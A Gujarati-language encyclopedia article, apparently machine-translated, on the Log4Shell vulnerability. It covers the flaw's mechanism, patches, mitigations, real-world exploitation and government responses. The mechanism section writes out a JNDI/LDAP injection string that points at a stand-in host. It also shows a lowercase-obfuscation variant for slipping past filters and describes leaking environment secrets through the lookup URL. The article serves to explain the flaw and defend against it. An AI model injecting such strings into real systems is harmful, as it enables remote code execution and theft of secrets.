Log4Shell
લોગ4શેલ (CVE-2021-44228) એ લોકપ્રિય જાવા લોગિંગ માળખા લોગ4જેમાં શૂન્ય-દિવસની નબળાઈ છે, જેમાં મનસ્વી કોડ અમલ સામેલ છે. આ નબળાઈ 2013 થી કોઈનું ધ્યાન ગયું ન હતું અને 24 નવેમ્બર 2021 ના રોજ અલીબાબા ક્લાઉડની સુરક્ષા ટીમના ચેન ઝાઓજુન દ્વારા અપાચે સોફ્ટવેર ફાઉન્ડેશનને ખાનગી રીતે જાહેર કરવામાં આવી હતી, જેમાંથી લોગ 4 જે એક પ્રોજેક્ટ છે. 10 ડિસેમ્બર 2021ના રોજ સત્તાવાર CVE ઓળખકર્તા ઉપલબ્ધ કરાવવામાં આવ્યું તે પહેલાં, લ્યુનાસેક ટીમના ફ્રી વોર્ટલી દ્વારા આપવામાં આવેલ "લોગ4શેલ" નામ સાથે ભેદ્યતા ફેલાવવામાં આવી હતી, જેનો ઉપયોગ શરૂઆતમાં આ મુદ્દાને ઓનલાઇન ટ્રેક કરવા માટે કરવામાં આવ્યો હતો. અપાચેએ લોગ4શેલને 10નું સીવીએસએસ ગંભીરતા રેટિંગ આપ્યું હતું, જે સૌથી વધુ ઉપલબ્ધ સ્કોર છે. આ શોષણ ચલાવવા માટે સરળ હતું અને તેમાં લાખો ઉપકરણોને અસર કરવાની ક્ષમતા હોવાનો અંદાજ છે. આ નબળાઈ લોગ4જે દ્વારા મનસ્વી એલડીએપી અને જેએનડીઆઈ સર્વરોને વિનંતીઓને મંજૂરી આપવાનો લાભ લે છે, જેનાથી હુમલાખોરોને સર્વર અથવા અન્ય કમ્પ્યુટર પર મનસ્વી જાવા કોડ ચલાવવાની મંજૂરી મળે છે, અથવા સંવેદનશીલ માહિતી લીક થાય છે. અપાચે સુરક્ષા ટીમ દ્વારા તેના અસરગ્રસ્ત સોફ્ટવેર પ્રોજેક્ટ્સની યાદી પ્રકાશિત કરવામાં આવી છે. અસરગ્રસ્ત વ્યાવસાયિક સેવાઓમાં એમેઝોન વેબ સર્વિસીસ, ક્લાઉડફ્લેયર, આઈક્લાઉડ, માઇનક્રાફ્ટઃ જાવા એડિશન, સ્ટીમ, ટેનસેન્ટ ક્યૂક્યુ અને અન્ય ઘણી સેવાઓનો સમાવેશ થાય છે. વિઝ અને EY અનુસાર, નબળાઈએ 93 ટકા એન્ટરપ્રાઇઝ ક્લાઉડ વાતાવરણને અસર કરી હતી. નબળાઈના ખુલાસાને સાયબર સુરક્ષા નિષ્ણાતો તરફથી મજબૂત પ્રતિક્રિયાઓ મળી. સાયબર સિક્યુરિટી કંપની ટેનબલે જણાવ્યું હતું કે શોષણ "અત્યાર સુધીની સૌથી મોટી, સૌથી ગંભીર નબળાઈ હતી", આર્સ ટેકનીકાએ તેને "દલીલપૂર્વક અત્યાર સુધીની સૌથી ગંભીર નબળાઈ" ગણાવી હતી અને ધ વોશિંગ્ટન પોસ્ટે જણાવ્યું હતું કે સુરક્ષા વ્યાવસાયિકો દ્વારા વર્ણનો "સાક્ષાત્કારની સીમા" પર છે. બેકગ્રાઉન્ડ લોગ4જે એ એક ઓપન-સોર્સ લોગિંગ માળખું છે જે સોફ્ટવેર વિકાસકર્તાઓને તેમની એપ્લિકેશનોમાં ડેટા લોગ કરવાની મંજૂરી આપે છે. આ ડેટામાં વપરાશકર્તા ઇનપુટ શામેલ હોઈ શકે છે. તેનો ઉપયોગ જાવા કાર્યક્રમો, ખાસ કરીને એન્ટરપ્રાઇઝ સોફ્ટવેરમાં સર્વવ્યાપક રીતે થાય છે. મૂળ રૂપે સેકી ગુલ્કી દ્વારા 2001 માં લખાયેલું, તે હવે અપાચે સોફ્ટવેર ફાઉન્ડેશનના પ્રોજેક્ટ અપાચે લોગિંગ સર્વિસીસનો ભાગ છે. રાષ્ટ્રપતિ ઓબામાના કમિશન ઓન સાયબર સિક્યુરિટીના સભ્ય ટોમ કેલરમેને અપાચેને "એક પુલના વિશાળ આધારોમાંથી એક તરીકે વર્ણવ્યું હતું જે એપ્લિકેશન્સ અને કમ્પ્યુટર વાતાવરણની દુનિયા વચ્ચે જોડાયેલી પેશીઓને સુવિધા આપે છે". વર્તણૂક જાવા નેમિંગ એન્ડ ડિરેક્ટરી ઇન્ટરફેસ (જે. એન. ડી. આઈ.) પ્રોગ્રામ રનટાઇમ પર જાવા ઓબ્જેક્ટ્સને તેમના ડેટાનો માર્ગ આપવામાં આવે છે. જે. એન. ડી. આઈ. સંખ્યાબંધ ડિરેક્ટરી ઇન્ટરફેસનો લાભ લઈ શકે છે, દરેક ફાઇલોને શોધવાની એક અલગ યોજના પ્રદાન કરે છે. આ ઇન્ટરફેસોમાં લાઇટવેટ ડિરેક્ટરી એક્સેસ પ્રોટોકોલ (એલડીએપી) નો સમાવેશ થાય છે, જે એક બિન-જાવા-વિશિષ્ટ પ્રોટોકોલ છે, જે સ્થાનિક અથવા ઇન્ટરનેટ પર ગમે ત્યાં યોગ્ય સર્વરમાંથી યુઆરએલ તરીકે ઓબ્જેક્ટ ડેટાને પુનઃપ્રાપ્ત કરે છે. મૂળભૂત રૂપરેખાંકનમાં, શબ્દમાળાને લોગ કરતી વખતે, લોગ4જે2 ફોર્મ ${ઉપસર્ગઃ નામ} ની અભિવ્યક્તિઓ પર શબ્દમાળાને બદલી કરે છે. ઉદાહરણ તરીકે, ટેક્સ્ટઃ ${જાવાઃ આવૃત્તિ} ને ટેક્સ્ટઃ જાવા આવૃત્તિ 1.7.0_67 માં રૂપાંતરિત કરી શકાય છે. માન્યતા પ્રાપ્ત અભિવ્યક્તિઓ પૈકી ${jndi: <લુક્અપ>} છે; LDAP દ્વારા જોવા માટેના લુકઅપને સ્પષ્ટ કરીને, મનસ્વી URL ને જાવા ઓબ્જેક્ટ ડેટા તરીકે પૂછપરછ અને લોડ કરી શકાય છે. ઉદાહરણ તરીકે, ${jndi: ldap:// દૃષ્ટાન્ત. com/ફાઈલ}, જો ઇન્ટરનેટ સાથે જોડાયેલ હોય તો તે યુઆરએલમાંથી ડેટા લોડ કરશે. લોગ કરેલા શબ્દમાળાને દાખલ કરીને, હુમલાખોર જાહેર URL પર હોસ્ટ કરેલા દૂષિત કોડને લોડ અને એક્ઝિક્યુટ કરી શકે છે. જો ડેટાનો અમલ નિષ્ક્રિય હોય તો પણ, હુમલાખોર હજુ પણ ડેટાને પુનઃપ્રાપ્ત કરી શકે છે-જેમ કે ગુપ્ત પર્યાવરણ ચલ-તેમને યુઆરએલમાં મૂકીને, તે કિસ્સામાં તેમને બદલવામાં આવશે અને હુમલાખોરના સર્વર પર મોકલવામાં આવશે. એલડીએપી ઉપરાંત, અન્ય સંભવિત શોષણક્ષમ જેએનડીઆઈ લુકઅપ પ્રોટોકોલમાં તેનો સુરક્ષિત પ્રકાર એલડીએપીએસ, જાવા રિમોટ મેથડ ઇન્વોકેશન (આરએમઆઈ), ડોમેન નેમ સિસ્ટમ (ડીએનએસ) અને ઈન્ટરનેટ ઇન્ટર-ઓઆરબી પ્રોટોકોલ (આઈઆઈઓપી) નો સમાવેશ થાય છે. કારણ કે HTTP વિનંતીઓ વારંવાર લૉગ કરવામાં આવે છે, એક સામાન્ય એટેક વેક્ટર દૂષિત સ્ટ્રિંગને HTTP વિનંતી URL અથવા સામાન્ય રીતે લોગ થયેલ HTTP હેડરમાં મૂકી રહ્યું છે, જેમ કે યુઝર-એજન્ટ. પ્રારંભિક ઘટાડામાં ${jndi જેવી સંભવિત દૂષિત સામગ્રી ધરાવતી કોઈપણ વિનંતીઓને અવરોધિત કરવાનો સમાવેશ થાય છે. આવા મૂળભૂત સ્ટ્રિંગ મેચિંગ સોલ્યુશન્સને વિનંતીને અસ્પષ્ટ કરીને અવરોધી શકાય છેઃ ઉદાહરણ તરીકે, ${${લોઅરઃ જે} એન. ડી. આઈ. ને જે. અક્ષર પર લોઅરકેસ ઓપરેશન કર્યા પછી જે. એન. ડી. આઈ. લુકઅપમાં રૂપાંતરિત કરવામાં આવશે. જો ઇનપુટ, જેમ કે પ્રથમ નામ, તરત જ લૉગ કરવામાં ન આવે તો પણ, તે પછીથી આંતરિક પ્રક્રિયા દરમિયાન લૉગ કરી શકાય છે અને તેની સામગ્રીઓ ચલાવવામાં આવે છે. આ નબળાઈ માટે શમન સુધારાઓ 6 ડિસેમ્બર 2021ના રોજ, નબળાઈ પ્રકાશિત થયાના ત્રણ દિવસ પહેલા, લોગ4જે સંસ્કરણ 2.15.0-rc1 માં બહાર પાડવામાં આવ્યા હતા. સુધારામાં સર્વર અને પ્રોટોકોલને પ્રતિબંધિત કરવાનો સમાવેશ થાય છે જેનો ઉપયોગ શોધ માટે થઈ શકે છે. સંશોધકોએ સંબંધિત બગ, CVE-2021-45046 ની શોધ કરી, જે ચોક્કસ બિન-મૂળભૂત રૂપરેખાંકનોમાં સ્થાનિક અથવા દૂરસ્થ કોડના અમલને મંજૂરી આપે છે અને તેને આવૃત્તિ 2.16.0 માં સુધારવામાં આવી હતી, જેણે JNDI અને સંદેશ શોધ માટેના સમર્થનનો ઉપયોગ કરીને તમામ સુવિધાઓને નિષ્ક્રિય કરી દીધી હતી. લાઈબ્રેરીમાં વધુ બે નબળાઈઓ મળી આવી હતીઃ ડેનિયલ-ઓફ-સર્વિસ એટેક, જેને CVE-2021-45105 તરીકે ટ્રેક કરવામાં આવ્યો હતો અને 2.17.0 માં ફિક્સ કરવામાં આવ્યો હતો; અને રિમોટ કોડ એક્ઝેક્યુશન નબળાઈ, જેને CVE-2021-44832 તરીકે ટ્રેક કરવામાં આવી હતી અને 2.17.1 માં ફિક્સ કરવામાં આવી હતી. અગાઉની આવૃત્તિઓ માટે, બંને નબળાઈઓને ઘટાડવા માટે વર્ગ org.apache.logging.log4j.core.lookup.JndiLookup ને વર્ગપથમાંથી દૂર કરવાની જરૂર છે. જૂની આવૃત્તિઓ માટે પ્રારંભિક ભલામણ કરેલ સુધારો સિસ્ટમ ગુણધર્મ log4j2.formatMsgNoLookups ને સાચું સેટ કરવાનો હતો, પરંતુ આ ફેરફાર CVE-2021-45046 ના શોષણને અટકાવતો નથી અને પછીથી અમુક કિસ્સાઓમાં સંદેશ દેખાવને અક્ષમ કરતો નથી. જાવા રનટાઇમ એન્વાયર્નમેન્ટ (જે. આર. ઈ.) ની નવી આવૃત્તિઓ પણ રિમોટ કોડને ડિફોલ્ટ રૂપે લોડ થવાથી અવરોધિત કરીને આ નબળાઈને ઘટાડે છે, જો કે અમુક એપ્લિકેશનોમાં અન્ય એટેક વેક્ટર હજુ પણ અસ્તિત્વ ધરાવે છે. કેટલીક પદ્ધતિઓ અને સાધનો પ્રકાશિત કરવામાં આવ્યા છે જે બિલ્ટ જાવા પેકેજોમાં ઉપયોગમાં લેવાતા સંવેદનશીલ લોગ4જે વર્ઝનને શોધવામાં મદદ કરે છે. જ્યાં સંસાધનોના અભાવ અથવા તૃતીય-પક્ષ સંચાલિત ઉકેલો જેવા વિવિધ અવરોધોને કારણે અદ્યતન સંસ્કરણોને લાગુ કરવું શક્ય બન્યું નથી, ત્યાં અસુરક્ષિત જમાવટમાંથી આઉટબાઉન્ડ નેટવર્ક ટ્રાફિકને ફિલ્ટર કરવું એ ઘણા લોકો માટે પ્રાથમિક ઉપાય રહ્યો છે. એનસીસી ગ્રુપ અને નેશનલ સાયબર સિક્યુરિટી સેન્ટર (યુનાઇટેડ કિંગડમ) દ્વારા આ અભિગમની ભલામણ કરવામાં આવી છે, અને તે ઊંડાણપૂર્વકના માપમાં સંરક્ષણનું ઉદાહરણ છે. આવા ગાળણની અસરકારકતા ફાયરવોલ સાથે હાથ ધરવામાં આવેલા પ્રયોગશાળાના પ્રયોગો દ્વારા પુરાવા મળે છે, જે લાઇબ્રેરી અને જે. આર. ઈ. ની કેટલીક સંપૂર્ણ અથવા આંશિક રીતે સંવેદનશીલ આવૃત્તિઓ સાથે આગળ વધતા ટ્રાફિકને અટકાવવામાં સક્ષમ છે. ઉપયોગ શોષણ હેકરોને જાવાનો ઉપયોગ કરીને સંવેદનશીલ ઉપકરણો પર નિયંત્રણ મેળવવાની મંજૂરી આપે છે. કેટલાક હેકરો ક્રિપ્ટોકરન્સી માઇનિંગ, બોટનેટ બનાવવા, સ્પામ મોકલવા, બેકડોર્સ સ્થાપિત કરવા અને રેન્સમવેર હુમલાઓ જેવી અન્ય ગેરકાયદેસર પ્રવૃત્તિઓ માટે પીડિતોના ઉપકરણોનો ઉપયોગ કરવા માટે નબળાઈનો ઉપયોગ કરે છે. નબળાઈની જાહેરાત પછીના દિવસોમાં, ચેક પોઇન્ટએ હેકરો દ્વારા શરૂ કરવામાં આવેલા લાખો હુમલાઓનું નિરીક્ષણ કર્યું હતું, જેમાં કેટલાક સંશોધકોએ પ્રતિ મિનિટ સોથી વધુ હુમલાના દરનું નિરીક્ષણ કર્યું હતું, જે આખરે આંતરરાષ્ટ્રીય સ્તરે 40 ટકાથી વધુ વ્યવસાયિક નેટવર્ક પર હુમલાના પ્રયાસોના પરિણામે પરિણમ્યું હતું. ક્લાઉડફ્લેયરના સી. ઈ. ઓ. મેથ્યુ પ્રિન્સના જણાવ્યા અનુસાર, શોષણના ઉપયોગ અથવા પરીક્ષણ માટેના પુરાવા જાહેર થયાના નવ દિવસ પહેલા, 1 ડિસેમ્બરની શરૂઆતમાં પાછા જાય છે. સાયબર સિક્યુરિટી પેઢી ગ્રેનોઇઝના જણાવ્યા અનુસાર, કેટલાક આઇપી સરનામાંઓ એવા સર્વરની તપાસ કરવા માટે વેબસાઇટ્સને સ્ક્રેપ કરી રહ્યા હતા જેમાં નબળાઈ હતી. 10 ડિસેમ્બર સુધીમાં મુહસ્ટિક બોટનેટ, તેમજ મિરાઈ અને સુનામી સહિત કેટલાક બોટનેટ્સે નબળાઈ માટે સ્કેન કરવાનું શરૂ કર્યું. રેન્સમવેર જૂથ કોન્ટીને 17 ડિસેમ્બરના રોજ નબળાઈનો ઉપયોગ કરીને જોવામાં આવ્યું હતું. ચીન અને ઈરાનમાં કેટલાક રાજ્ય પ્રાયોજિત જૂથોએ પણ ચેક પોઇન્ટ અનુસાર શોષણનો ઉપયોગ કર્યો હતો, પરંતુ તે જાણી શકાયું નથી કે શોષણનો ઉપયોગ ઇઝરાયેલ, રશિયા અથવા યુનાઇટેડ સ્ટેટ્સ દ્વારા નબળાઈની જાહેરાત પહેલાં કરવામાં આવ્યો હતો કે કેમ. ચેક પોઇન્ટએ જણાવ્યું હતું કે 15 ડિસેમ્બર 2021 ના રોજ, ઈરાન સમર્થિત હેકરોએ ઇઝરાયેલી વ્યવસાયો અને સરકારી સંસ્થાઓના નેટવર્કમાં ઘૂસણખોરી કરવાનો પ્રયાસ કર્યો હતો. પ્રતિસાદ અને અસર સરકારી યુનાઇટેડ સ્ટેટ્સમાં, સાયબર સિક્યુરિટી એન્ડ ઇન્ફ્રાસ્ટ્રક્ચર સિક્યુરિટી એજન્સી (સીઆઇએસએ) ના ડિરેક્ટર, જેન ઇસ્ટરલીએ આ શોષણને "મારી સમગ્ર કારકિર્દીમાં મેં જોયેલા સૌથી ગંભીરમાંથી એક, જો સૌથી ગંભીર નહીં" તરીકે વર્ણવ્યું હતું, અને સમજાવ્યું હતું કે લાખો ઉપકરણો પ્રભાવિત થયા હતા અને વિક્રેતાઓને સોફ્ટવેર અપડેટ્સને પ્રાથમિકતા આપવાની સલાહ આપી હતી. યુનાઇટેડ સ્ટેટ્સ સરકાર દ્વારા કરાર કરાયેલી નાગરિક એજન્સીઓ પાસે નબળાઈઓને દૂર કરવા માટે 24 ડિસેમ્બર 2021 સુધી સમય હતો. 4 જાન્યુઆરીના રોજ, ફેડરલ ટ્રેડ કમિશન (એફટીસી) એ વપરાયેલ લોગ4જે સોફ્ટવેરને અપડેટ કરવા માટે વાજબી પગલાં લેવામાં નિષ્ફળ રહેલી કંપનીઓને આગળ વધારવાનો તેનો ઇરાદો જાહેર કર્યો હતો. વ્હાઇટ હાઉસની બેઠકમાં, રાષ્ટ્રીય સુરક્ષા માટે ઓપન-સોર્સ સોફ્ટવેરની સુરક્ષા જાળવણીનું મહત્વ સ્પષ્ટ કરવામાં આવ્યું હતું-જે ઘણીવાર મોટા ભાગે થોડા સ્વયંસેવકો દ્વારા પણ હાથ ધરવામાં આવે છે. જ્યારે કેટલાક ઓપન-સોર્સ પ્રોજેક્ટ્સ પર ઘણા લોકોની નજર હોય છે, અન્ય લોકો પાસે તેમની સુરક્ષાની ખાતરી આપતા ઘણા અથવા કોઈ લોકો નથી. જર્મનીના Bundesamt für Sicherheit in der Infર્મેશનસ્ટેકનિક (BSI) એ આ શોષણને એજન્સીના સૌથી ઊંચા જોખમી સ્તર તરીકે નિયુક્ત કર્યું છે, અને તેને "અત્યંત ગંભીર જોખમી પરિસ્થિતિ" (અનુવાદિત) ગણાવી છે. તેણે એવું પણ નોંધ્યું હતું કે ઘણા હુમલાઓ પહેલેથી જ સફળ રહ્યા હતા અને શોષણની માત્રાનું મૂલ્યાંકન કરવું મુશ્કેલ રહ્યું હતું. નેધરલેન્ડ્સના રાષ્ટ્રીય સાયબર સુરક્ષા કેન્દ્ર (એન. સી. એસ. સી.) એ સંવેદનશીલ એપ્લિકેશનોની ચાલુ યાદી શરૂ કરી. કેનેડિયન સેન્ટર ફોર સાયબર સિક્યુરિટી (સીસીસીએસ) એ સંસ્થાઓને તાત્કાલિક પગલાં લેવા હાકલ કરી હતી. કેનેડા રેવન્યુ એજન્સીએ શોષણની જાણ થયા પછી તેની ઓનલાઇન સેવાઓ અસ્થાયી રૂપે બંધ કરી દીધી હતી, જ્યારે ક્વિબેક સરકારે "નિવારક પગલા" તરીકે તેની લગભગ 4,000 વેબસાઇટ્સ બંધ કરી દીધી હતી. બેલ્જિયન સંરક્ષણ મંત્રાલયે ઉલ્લંઘનના પ્રયાસનો અનુભવ કર્યો અને તેના નેટવર્કનો એક ભાગ બંધ કરવાની ફરજ પડી. ચીનના ઉદ્યોગ અને માહિતી ટેકનોલોજી મંત્રાલયે સરકારને નબળાઈની જાણ કરવામાં નિષ્ફળ રહેવા બદલ સાયબર સિક્યુરિટી થ્રેટ ઇન્ટેલિજન્સ પાર્ટનર તરીકે અલીબાબા ક્લાઉડ સાથે કામ છ મહિના માટે સ્થગિત કરી દીધું છે. વિઝ અને ઇ. વાય. દ્વારા હાથ ધરાયેલા વ્યવસાયોના સંશોધનમાં દર્શાવવામાં આવ્યું છે કે 93 ટકા ક્લાઉડ એન્ટરપ્રાઇઝ વાતાવરણ લોગ4શેલ માટે સંવેદનશીલ હતું. 7 ટકા નબળા વર્કલોડ ઇન્ટરનેટના સંપર્કમાં આવે છે અને વ્યાપક શોષણના પ્રયાસો માટે સંવેદનશીલ હોય છે. સંશોધન મુજબ, નબળાઈ જાહેર થયાના દસ દિવસ પછી (20 ડિસેમ્બર 2021) મેઘ વાતાવરણમાં સરેરાશ માત્ર 45 ટકા નબળા વર્કલોડને પેચ કરવામાં આવ્યા હતા. એમેઝોન, ગૂગલ અને માઈક્રોસોફ્ટ ક્લાઉડ ડેટા લોગ4શેલથી પ્રભાવિત થયા હતા. માઇક્રોસોફ્ટે ડિસેમ્બર 2021 સુધીમાં લોગ4જે 'લોગ4શેલ' ખામી માટે સિસ્ટમોની તપાસ કરતા રાજ્ય પ્રાયોજિત અને સાયબર-ગુનાહિત હુમલાખોરોનું નિરીક્ષણ કર્યા પછી વિન્ડોઝ અને એઝ્યુર ગ્રાહકોને સતર્ક રહેવા કહ્યું હતું. માનવ સંસાધન વ્યવસ્થાપન અને કાર્યબળ વ્યવસ્થાપન કંપની યુકેજી, જે ઉદ્યોગના સૌથી મોટા વ્યવસાયોમાંથી એક છે, તેને રેન્સમવેર હુમલા દ્વારા નિશાન બનાવવામાં આવી હતી જેણે મોટા વ્યવસાયોને અસર કરી હતી. યુકેજીએ જણાવ્યું હતું કે આ ઘટનામાં લોગ4શેલનો ઉપયોગ કરવામાં આવ્યો હોવાના પુરાવા તેમની પાસે નથી, જોકે સાયબર સિક્યુરિટી કંપની રેકોર્ડેડ ફ્યુચરના વિશ્લેષક એલન લિસકાએ જણાવ્યું હતું કે સંભવતઃ જોડાણ હતું. જેમ જેમ મોટી કંપનીઓએ શોષણ માટે પેચ છોડવાનું શરૂ કર્યું તેમ તેમ નાના વ્યવસાયો માટેનું જોખમ વધ્યું કારણ કે હેકરોએ વધુ સંવેદનશીલ લક્ષ્યો પર ધ્યાન કેન્દ્રિત કર્યું હતું. ગોપનીયતા ઇન્ટરનેટ સાથે જોડાયેલા કેટલાક વ્યક્તિગત ઉપકરણો, જેમ કે સ્માર્ટ ટીવી અને સુરક્ષા કેમેરા, શોષણ માટે સંવેદનશીલ હતા. બંધ કરાયેલા ઉત્પાદક સપોર્ટને કારણે કેટલાક સોફ્ટવેરને ક્યારેય પેચ ન મળી શકે. વિશ્લેષણ વૈશ્વિક સ્તરે તમામ કોર્પોરેટ નેટવર્ક્સમાંથી લગભગ અડધા સક્રિય રીતે તપાસ કરવામાં આવી છે, જેમાં શોષણના 60 થી વધુ પ્રકારો 24 કલાકની અંદર ઉત્પન્ન કરવામાં આવ્યા છે. ચેક પોઇન્ટ સોફ્ટવેર ટેક્નોલોજિસે વિગતવાર વિશ્લેષણમાં પરિસ્થિતિને "સાચા સાયબર-રોગચાળા" તરીકે વર્ણવી હતી અને નુકસાનની સંભાવનાને "અગણિત" તરીકે વર્ણવી હતી. કેટલીક પ્રારંભિક સલાહોએ જોખમી પેકેજોની માત્રાને અતિશયોક્તિપૂર્ણ ગણાવી હતી, જે ખોટા હકારાત્મક તરફ દોરી ગઈ હતી. સૌથી વધુ નોંધપાત્ર રીતે, "log4j-api" પેકેજને સંવેદનશીલ તરીકે ચિહ્નિત કરવામાં આવ્યું હતું, જ્યારે વાસ્તવમાં વધુ સંશોધન દર્શાવે છે કે માત્ર મુખ્ય "log4j-કોર" પેકેજ સંવેદનશીલ હતું. મૂળ ઇશ્યૂ થ્રેડ અને બાહ્ય સુરક્ષા સંશોધકો બંને દ્વારા આની પુષ્ટિ કરવામાં આવી હતી. ટેક્નોલોજી મેગેઝિન વાયર્ડે લખ્યું છે કે બહુવિધ નબળાઈઓને લગતા અગાઉના "પ્રચાર" હોવા છતાં, "લોગ4જે નબળાઈ. ઘણા કારણોસર પ્રચાર પર ટકી રહે છે". મેગેઝિન સમજાવે છે કે લોગ4જેની વ્યાપકતા, સંભવિત લક્ષ્યો દ્વારા ઓળખવી મુશ્કેલ હોવાની નબળાઈ અને પીડિતોને કોડ પ્રસારિત કરવાની સરળતાએ "ગંભીરતા, સરળતા અને વ્યાપકતાનું સંયોજન બનાવ્યું છે જેણે સુરક્ષા સમુદાયને હચમચાવી દીધો છે". વાયર્ડ લોગ4શેલનો ઉપયોગ કરીને હેકરોના તબક્કાઓની રૂપરેખા પણ આપે છે; ક્રિપ્ટોમાઇનિંગ જૂથો પહેલા નબળાઈનો ઉપયોગ કરે છે, ડેટા દલાલો પછી સાયબર ગુનેગારોને "પગપેસારો" કરે છે, જેઓ આખરે રેન્સમવેર હુમલાઓ, જાસૂસી અને ડેટાનો નાશ કરવા માટે આગળ વધે છે. ટેનબલના સી. ઈ. ઓ. અને યુનાઇટેડ સ્ટેટ્સ કમ્પ્યુટર ઇમર્જન્સી રેડીનેસ ટીમના સ્થાપક નિર્દેશક અમિત યોરાને જણાવ્યું હતું કે, "[લોગ4શેલ] અત્યાર સુધીની સૌથી મોટી, સૌથી ગંભીર નબળાઈ છે", અને નોંધ્યું હતું કે બગ પછી ટૂંક સમયમાં જ અત્યાધુનિક હુમલાઓ શરૂ થઈ ગયા હતા, તેમણે કહ્યું હતું કે, "અમે પહેલેથી જ તેને રેન્સમવેર હુમલાઓ માટે ઉપયોગમાં લેતા જોઈ રહ્યા છીએ, જે ફરીથી, એક મોટી ચેતવણીની ઘંટડી હોવી જોઈએ. અમે હુમલાખોરો દ્વારા લોગ4શેલનો ઉપયોગ કરીને સિસ્ટમનો નાશ કરવા માટેના અહેવાલો પણ જોયા છે, જે એકદમ અસામાન્ય વર્તન છે". સોફોસના વરિષ્ઠ જોખમી સંશોધક સીન ગલાઘેરે કહ્યું, "પ્રામાણિકપણે, અહીં સૌથી મોટો ખતરો એ છે કે લોકોએ પહેલેથી જ પ્રવેશ મેળવી લીધો છે અને માત્ર તેના પર બેઠા છે, અને જો તમે સમસ્યાને દૂર કરો તો પણ કોઈક નેટવર્કમાં પહેલેથી જ છે. તે ઈન્ટરનેટ જેટલા લાંબા સમય સુધી રહેશે ". બ્લૂમબર્ગ ન્યૂઝના અહેવાલ અનુસાર, 2016ની સાયબર સુરક્ષા પરિષદમાં લોગ4જે સહિત સોફ્ટવેરના વ્યાપક વર્ગોના શોષણ વિશે ચેતવણી આપવામાં આવ્યા બાદ અપાચેના વિકાસકર્તાઓ પર નબળાઈને ઠીક કરવામાં નિષ્ફળતા બદલ થોડો ગુસ્સો કરવામાં આવ્યો હતો. સંદર્ભો બાહ્ય લિંક્સ લોગ4જે વેબસાઇટ સામાન્ય નબળાઈઓ અને એક્સપોઝર પૃષ્ઠ રાષ્ટ્રીય નબળાઈઓ ડેટાબેઝ પૃષ્ઠ cve-2021-44228 દ્વારા અસરગ્રસ્ત પ્રોજેક્ટ્સ, અપાચે સુરક્ષા ટીમ 2021 દ્વારા ઇન્જેક્શનના શોષણની ગણતરીમાં